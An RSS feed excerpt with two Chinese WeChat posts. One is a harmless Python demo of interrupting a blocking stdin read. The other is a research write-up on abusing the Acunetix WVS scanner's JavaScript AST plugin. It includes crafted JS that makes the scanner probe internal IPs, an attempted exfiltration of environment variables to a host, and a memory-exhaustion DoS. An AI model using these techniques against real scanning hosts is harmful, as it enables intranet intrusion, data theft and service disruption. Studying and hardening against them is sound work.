      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483726&amp;idx=1&amp;sn=b8c029d989e1a14b6c88be5484ad2689</link>
      <description>下午，同事问我：有办法终止一个阻塞的raw_input吗？他希望：用户既可以在终端标准输入，也可以选择外部手机扫码输入。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Li JieJie</span> <span>2024-05-17 21:14</span> <span style="display: inline-block;">北京</span>
</p>

<p>下午，同事问我：有办法终止一个阻塞的raw_input吗？他希望：用户既可以在终端标准输入，也可以选择外部手机扫码输入。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=eedfc312&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9kZW3HzuVqal4y8UrGHLt5l0XHRD2maxw0u1YSbicaFBVY9Wen48bsgUWA7IBlsLlSJway8nAiaPeVQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 14px;">下午，同事问我：有办法终止一个阻塞的raw_input吗？</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000069" data-ratio="0.8047882136279927" data-s="300,640" style="" data-type="png" data-w="543" src="https://wechat2rss.xlab.app/img-proxy/?k=2ef9f713&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9kZW3HzuVqal4y8UrGHLt5lhXQaZicbA98XMibXv90a30TYuLDs14mLZSlzcQIBD5V2DIrp7deE8Bicg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="font-size: 14px;letter-spacing: 0.034em;">他希望：</span><span style="font-size: 14px;letter-spacing: 0.034em;">用户</span><span style="font-size: 14px;letter-spacing: 0.034em;">既可以在终端标准输入，也可以选择外部手机扫码输入。</span><span style="font-size: 14px;letter-spacing: 0.034em;">任意条件满足的情况下，程序都能继续向后执行。 </span></p><p><span style="font-size: 14px;letter-spacing: 0.034em;">但是，上述raw_input会阻塞，导致不能检查是否有成功扫码。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000073" data-ratio="0.5778331257783312" data-s="300,640" style="" data-type="png" data-w="803" src="https://wechat2rss.xlab.app/img-proxy/?k=cb1c3305&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9kZW3HzuVqal4y8UrGHLt5l0nJuyRwZ5UunpFibMN0Oko9ezvcMd494jFVhdolUPCZl6ficjiaiaQpFgA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000072" data-ratio="0.2655440414507772" data-s="300,640" style="" data-type="png" data-w="772" src="https://wechat2rss.xlab.app/img-proxy/?k=4f634201&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9kZW3HzuVqal4y8UrGHLt5lDAdxeZWy79K0JRtTGzbpBNyrnPCZ1bia9t6kEgmorqFvKD8LdfboD1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="font-size: 14px;">为了得到想要的效果，我写了一个示例程序，方法如下：</span></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li><p><span style="font-size: 14px;">从终端读取标准输入的阻塞操作，必然不能在原先的函数中执行，交由子进程处理</span></p></li><li><p><span style="font-size: 14px;">扫码确认的动作，交给1个单独线程轮询处理，这里，我换成了本地文件读取演示</span></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000074" data-ratio="0.18947368421052632" data-s="300,640" style="" data-type="png" data-w="760" src="https://wechat2rss.xlab.app/img-proxy/?k=6f9b18b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9kZW3HzuVqal4y8UrGHLt5l7YSNiaUU96boQnDaOqmZL5R8coa8Wn6Y3XaKsvJicibhoPWaiaSmfrt0zA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__comment"># -*- coding: utf-8 -*-</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> threading</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sys</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> os</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> time</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> multiprocessing</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">get_input</span><span class="code-snippet__params">(file_no, queue_motp)</span>:</span></span></code><code><span class="code-snippet_outer">    stdin_obj = os.fdopen(file_no)</span></code><code><span class="code-snippet_outer">    code = stdin_obj.readline().strip()</span></code><code><span class="code-snippet_outer">    queue_motp.put(code)</span></code><code><span class="code-snippet_outer">    stdin_obj.close()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">GetMOTP</span><span class="code-snippet__params">(threading.Thread)</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">__init__</span><span class="code-snippet__params">(self)</span>:</span></span></code><code><span class="code-snippet_outer">        threading.Thread.__init__(self)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">run</span><span class="code-snippet__params">(self)</span>:</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">global</span> flag</span></code><code><span class="code-snippet_outer">        self.motp_input_done = <span class="code-snippet__keyword">False</span></span></code><code><span class="code-snippet_outer">        sys.stdout.write(<span class="code-snippet__string">&#34;motp&gt;&#34;</span>)</span></code><code><span class="code-snippet_outer">        manager = multiprocessing.Manager()</span></code><code><span class="code-snippet_outer">        self.queue_motp = queue_motp = manager.Queue()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        p = multiprocessing.Process(target=get_input, args=(sys.stdin.fileno(), queue_motp))    <span class="code-snippet__comment"># 读取标准输入</span></span></code><code><span class="code-snippet_outer">        p.start()</span></code><code><span class="code-snippet_outer">        threading.Thread(target=self.check_from_disk).start()    <span class="code-snippet__comment"># 本地读取</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span> queue_motp.empty():</span></code><code><span class="code-snippet_outer">            time.sleep(<span class="code-snippet__number">0.1</span>)</span></code><code><span class="code-snippet_outer">        self.motp_input_done = <span class="code-snippet__keyword">True</span></span></code><code><span class="code-snippet_outer">        p.terminate()</span></code><code><span class="code-snippet_outer">        motp = queue_motp.get_nowait()</span></code><code><span class="code-snippet_outer">        print(<span class="code-snippet__string">&#34;motp: &#34;</span>, motp)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> motp == <span class="code-snippet__string">&#34;good&#34;</span>:</span></code><code><span class="code-snippet_outer">            flag = <span class="code-snippet__keyword">True</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># 模拟扫码逻辑</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">check_from_disk</span><span class="code-snippet__params">(self)</span>:</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span> <span class="code-snippet__keyword">not</span> self.motp_input_done:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> os.path.exists(<span class="code-snippet__string">&#34;motp.txt&#34;</span>):</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">with</span> open(<span class="code-snippet__string">&#34;motp.txt&#34;</span>, <span class="code-snippet__string">&#34;r&#34;</span>) <span class="code-snippet__keyword">as</span> f:</span></code><code><span class="code-snippet_outer">                    code = f.read()</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> code.strip():</span></code><code><span class="code-snippet_outer">                        self.queue_motp.put(code.strip())</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">True</span></span></code><code><span class="code-snippet_outer">            time.sleep(<span class="code-snippet__number">0.2</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> __name__ == <span class="code-snippet__string">&#39;__main__&#39;</span>:</span></code><code><span class="code-snippet_outer">    GetMOTP().start()</span></code></pre></section><p><span style="font-size: 14px;">以上，无论是用户在终端输入，还是扫码轮询成功，都可以取到输入，并同时终止2类等待，继续执行后续的程序逻辑。</span><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483726">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0f6b99ce&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483726%26idx%3D1%26sn%3Db8c029d989e1a14b6c88be5484ad2689%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 17 May 2024 21:14:00 +0800</pubDate>
    </item>
    <item>
      <title>利用插件逻辑反制Acunetix WVS 扫描器</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483715&amp;idx=1&amp;sn=ddb3eb43e635690505fe51a74422b56e</link>
      <description>本文尝试利用Javascript_AST_Parse.script插件，对Acunetix WVS扫描器进行一定的反制测试。</description>
      <content:encoded><![CDATA[<p>
<span>没发现漏洞的</span> <span>2023-08-10 10:35</span> <span style="display: inline-block;">北京</span>
</p>

<p>本文尝试利用Javascript_AST_Parse.script插件，对Acunetix WVS扫描器进行一定的反制测试。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7298460a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9lbl7oQYFBqrTrRm64soSO4ulMfZzHicGfV7NiaBgpwhoaGY06lDicZnNAMKnibmVAtm3NPlp506ibJExw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 24px;"><span style="font-size: 14px;">Acunetix WVS扫描器功能强大，插件丰富，广受白帽子们喜欢，是最为经典的重web扫描器之一。广泛地被攻击队使用，不少企业也在使用它进行内部安全巡检。过去，已有安全研究人员公开过低版本AWVS的RCE反制漏洞（目前已经被蜜罐产品在用）。</span><span style="font-size: 14px;letter-spacing: 0.034em;">笔者近期在分析AWVS插件时，对其中一个插件产生了兴趣，进行了一些简单的测试，尝试利用插件执行逻辑，对扫描器进行一定的反制。</span></p><p style="text-align: center;margin-bottom: 8px;"><span style="font-size: 16px;"><strong style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-wrap: wrap;background-color: rgb(255, 255, 255);letter-spacing: 0.578px;text-align: left;">Javascript_AST_Parse.script插件</strong></span></p><p style="margin-bottom: 8px;"><span style="font-size: 14px;">本文介绍的插件是：</span><span style="color: rgb(51, 51, 51);font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;font-size: 14px;background-color: rgb(255, 218, 169);">Scripts/PerFile/Javascript_AST_Parse.script</span><span style="font-size: 14px;">（得到AWVS插件明文的方法，请自行检索）。</span></p><p style="margin-bottom: 8px;"><span style="font-size: 14px;"><strong>该</strong></span><strong><span style="font-size: 14px;letter-spacing: 0.034em;">插件的作用是：找到Javascript文件中的所有ajax请求，交给扫描器去执行请求。</span></strong></p><p style="margin-bottom: 8px;"><span style="font-size: 14px;letter-spacing: 0.034em;">这意味着，并不需要特定事件被触发，就能执行到这些HTTP请求，帮助扫描器发现API接口，捕获HTTP响应。AWVS<span style="letter-spacing: 0.476px;text-wrap: wrap;">受限于默认的</span>静态爬虫<span style="letter-spacing: 0.476px;text-wrap: wrap;">，</span>如果不去解析JS，是找不到这些较为隐蔽的HTTP接口的。</span></p><p style="margin-bottom: 8px;"><span style="font-size: 14px;letter-spacing: 0.034em;">插件工作流程为：</span></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li><p><span style="font-size: 14px;letter-spacing: 0.034em;">利用acorn解析Javascript代码，生成抽象语法树</span></p></li><li><p><span style="font-size: 14px;letter-spacing: 0.034em;">遍历语法树，找到所有可调用对象（CallExpression）</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">在可调用对象中，递归查找，找到所有ajax请求方法，并将该请求添加到扫描器</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">processJavaScriptCode</span>(<span class="code-snippet__params">data</span>) </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">var</span> ast = acorn.parse(data);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (ast) processAst(ast);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">catch</span> (x) {}</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">processAst</span>(<span class="code-snippet__params">ast</span>) </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">var</span> elementsCount = ast.body.length;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">var</span> i = <span class="code-snippet__number">0</span>; i &lt; elementsCount; i++) {</span></code><code><span class="code-snippet_outer">        recursiveFindCallExpressions(ast.body[i], <span class="code-snippet__string">&#34;&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-size: 14px;">AWVS使用了acorn来解析javascript，该项目地址为 </span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><a href="https://github.com/acornjs/acorn" target="_blank">https://github.com/acornjs/acorn</a></span></code></pre></section><p style="text-align: center;margin-top: 24px;"><span style="font-size: 16px;"><strong style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-wrap: wrap;background-color: rgb(255, 255, 255);letter-spacing: 0.578px;text-align: left;">反制的基本思路</strong></span><br/></p><section style="margin-bottom: 8px;"><span style="font-size: 14px;">对于扫描器<span style="letter-spacing: 0.578px;text-wrap: wrap;">反制</span>，几个基本的思路是</span></section><ul class="list-paddingleft-1" style="list-style-type: square;"><li><p><span style="font-size: 14px;">利用扫描器缺陷，向扫描主机植入木马。实现反向控制</span></p></li><li><p><span style="font-size: 14px;">利用扫描器缺陷，消耗主机资源，实现DOS攻击（内存耗尽OOM，CPU恶意占用）</span></p></li><li><p><span style="font-size: 14px;">利用扫描器缺陷，反打扫描环境内网</span></p></li><li><section style="margin-bottom: 16px;"><span style="font-size: 14px;">利用扫描器缺陷，回传扫描环境的基本信息（User、HostName、IP、OS、用户数据等）</span></section></li></ul><p style="text-align: center;"><strong style="font-size: 16px;letter-spacing: 0.578px;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: left;">反制：盲打扫描主机所在的内网</strong></p><p><span style="letter-spacing: 0.578px;text-wrap: wrap;font-size: 14px;">笔者<span style="letter-spacing: 0.578px;text-wrap: wrap;">经过测试验证，AWVS对ajax请求的目标URL是无限制的。因此，可以在JS文件中，把需要盲打的URL批量吐给扫描器。构造test.js内容为</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">$(xxx).ready(<span class="code-snippet__function"><span class="code-snippet__keyword">function</span>(<span class="code-snippet__params"></span>)</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">$.get(<span class="code-snippet__string">&#34;<a href="http://10.1.11.1:8080/script" target="_blank">http://10.1.11.1:8080/script</a>&#34;</span>);</span></code><code><span class="code-snippet_outer">$.get(<span class="code-snippet__string">&#34;<a href="http://10.1.11.2:8080/script" target="_blank">http://10.1.11.2:8080/script</a>&#34;</span>);</span></code><code><span class="code-snippet_outer">...</span></code><code><span class="code-snippet_outer">$.get(<span class="code-snippet__string">&#34;<a href="http://10.1.12.254:8080/script" target="_blank">http://10.1.12.254:8080/script</a>&#34;</span>);</span></code><code><span class="code-snippet_outer">});</span></code></pre></section><p><span style="font-size: 14px;">xxx是不存在的对象，并不能被正常执行，但可以正常解析。在测试页面引入该JS，扫描测试页，可以看到这批URL被扫描器请求了，如下图所示</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7201565557729941" data-s="300,640" style="" data-type="png" data-w="511" src="https://wechat2rss.xlab.app/img-proxy/?k=d24ee255&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9lbl7oQYFBqrTrRm64soSO48eSukOkQvRaSFtyBia9tgGuUrSj113H630J7qIq41UbicnR8RFhnRXfQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">所以，在JS中向扫描器主动吐出内网漏洞URL盲打，可以发起对扫描主机的内网扫描，它的利用效果跟SSRF盲打是一样的。考虑利用以下漏洞<br/></span></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li><p><span style="font-size: 14px;">路由器、交换机、防火墙的RCE漏洞</span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;">常见的内网漏洞：Log4j、Jenkins、Struts2、<span style="color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">Confluence、<span style="color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">Nexus等</span></span></span></p><p><br/></p></li></ul><p><span style="color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">请注意，</span><strong><span style="color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;letter-spacing: normal;text-align: start;text-wrap: wrap;font-size: 14px;background-color: rgb(255, 218, 169);">GET/POST/DELETE</span></strong><span style="color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;letter-spacing: normal;text-align: start;text-wrap: wrap;font-size: 14px;background-color: rgb(255, 218, 169);"> </span><span style="color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">等方法都是被支持的。通常，在企业内网大范围扫描容易触碰蜜罐，引起各种安全告警。但该主机因为是扫描节点，<span style="color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">容易</span>同时也出现被<span style="color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">IP</span>加白，主动忽略<span style="color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">告警</span>的问题。因此，扫描器被反制利用的风险</span><span style="color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;">反而<span style="background-color: rgb(255, 255, 255);">增加了。</span></span><br/></p><p><span style="color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">笔者在测试时，尝试写入了大量的URL到单个js，<strong>发现仅有一部分URL被请求了</strong>，导致这个问题的原因，可能是因为插件超时限制，出现timeout，或者是因为队列的大小限制被主动丢弃了。</span><span style="color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 172, 170);">但解决方法也比较简单，把你想请求的目标URL，拆分后写入多个js文件即可。例如每个js中只写1个C段</span><span style="color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">。<br/></span></p><p style="text-align: center;"><strong style="letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: left;">反制：获取扫描主机信息</strong></p><p><span style="font-size: 14px;">笔者未能测试成功，原因在于acorn是纯Parser，不支持执行、不能关联上下文。会被AWVS添加执行的只有特定白名单中的请求和参数。一个思路，是寄希望于扫描引擎能支持embeded expression，也就是拼接 </span><span style="font-size: 14px;background-color: rgb(255, 172, 170);">$(process.env.USER)</span><span style="font-size: 14px;"> 这样的字符串给扫描器。本地测试可行，acorn解析完成，node确实将信息带入了</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">let acorn = require(&#34;acorn&#34;);</span></code><code><span class="code-snippet_outer">s = `</span></code><code><span class="code-snippet_outer">$(xxx).ready(function(){</span></code><code><span class="code-snippet_outer">$.get(&#34;<a href="http://10.1.1.1/?user=${process.env.USERNAME}&amp;os=${process.env.OS}" target="_blank">http://10.1.1.1/?user=${process.env.USERNAME}&amp;os=${process.env.OS}</a>&#34;);</span></code><code><span class="code-snippet_outer">});</span></code><code><span class="code-snippet_outer">`;</span></code><code><span class="code-snippet_outer">ast = acorn.parse(s);</span></code><code><span class="code-snippet_outer">if (ast){</span></code><code><span class="code-snippet_outer">  processAst(ast);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.42408376963350786" data-s="300,640" style="" data-type="png" data-w="573" src="https://wechat2rss.xlab.app/img-proxy/?k=b0512ec1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9lbl7oQYFBqrTrRm64soSO4xbT9TcDPd9LKx5HZhV84sCmOvoYoAPbHxKweRQuDIv3yA5EXaubt0g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">如上图所示，USER 、 OS、 COMPUTERNAME等环境变量中的信息，都是可以被带回，传到我们指定的接口的。然而在投给AWVS后，发现嵌入的表达式并未被解释器替换。</span></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.10562571756601608" data-s="300,640" style="" data-type="png" data-w="871" src="https://wechat2rss.xlab.app/img-proxy/?k=69be2c4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9lbl7oQYFBqrTrRm64soSO4za48XNPxW7LpqDibdDOBpS76uzAFaTjLR4OuRoKJskLiabgOgklhrKtw%2F640%3Fwx_fmt%3Dpng"/></section><p><span style="font-size: 14px;">如上图所示，表达式未被替换，此路暂时不通。可能的原因是安全限制，因为笔者写入的参数</span><span style="font-size: 14px;background-color: rgb(255, 172, 170);">${1+1}</span><span style="font-size: 14px;">同样没有被正常替换为数字2.</span><br/></p><p style="text-align: center;"><strong style="letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: left;">反制：拒绝服务攻击</strong></p><p style="margin-bottom: 8px;"><span style="font-size: 14px;">AWVS用到的acorn版本较低（代码中显示为<strong>2.6.5</strong>），未发现正则表达式DOS的漏洞。</span></p><p><span style="font-size: 14px;">一个思路，笔者尝试写了一个包含大量请求的js文件<span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;">（1600</span><span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;">0个，仅数百kb</span><span style="font-size: 14px;letter-spacing: 0.578px;text-wrap: wrap;">）</span>，扫描器在处理这个JS的时候，出现内存占用的问题，单个目标跑到了<strong>2.6GB</strong>左右。如果使用普通浏览器打开页面，则是没有问题的，因为js是构造的，会立即抛出异常。因此，多写入几个这样的无效JS，就可以让扫描器陷入无尽的资源空耗。<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3682266009852217" data-s="300,640" style="" data-type="png" data-w="812" src="https://wechat2rss.xlab.app/img-proxy/?k=20262152&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9lbl7oQYFBqrTrRm64soSO4xcA4c6sib5aGTjM9RKDz7EaicTvlfpTk3LU8p3Lx9hK7ZJhlDkeUZwLg%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-bottom: 8px;"><span style="font-size: 14px;">另一个思路，在尝试利用AWVS的递归查找时，发现递归时有堆栈大小限制，未成功。</span><br/></section><p style=""><span style="font-size: 14px;">除此之外，利用扫描器大量地请求AWVS监听在本地3443端口的web服务或其他本地HTTP服务，也是一个潜在的攻击点，笔者未进行测试。</span></p><p style="letter-spacing: 0.578px;text-wrap: wrap;text-align: center;"><strong style="letter-spacing: 0.578px;font-size: 16px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: left;">总结</strong></p><p style="margin-bottom: 8px;letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-size: 14px;">本文介绍了AWVS扫描器</span><span style="font-size: 14px;background-color: rgb(255, 172, 170);">Javascript_AST_Parse.script</span><span style="font-size: 14px;">插件的逻辑，以及可能被用于反制的利用点。因为JS解释器限制，可控的输入太少，当前效果还比较局限。有兴趣的同学可以进一步研究其利用手法。<strong>开发考虑对该插件做以下处理</strong>：</span></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li><p style="margin-bottom: 8px;letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-size: 14px;">限制该插件在处理单个JS时最多可添加的HTTP请求个数</span></p></li><li><p style="margin-bottom: 8px;letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-size: 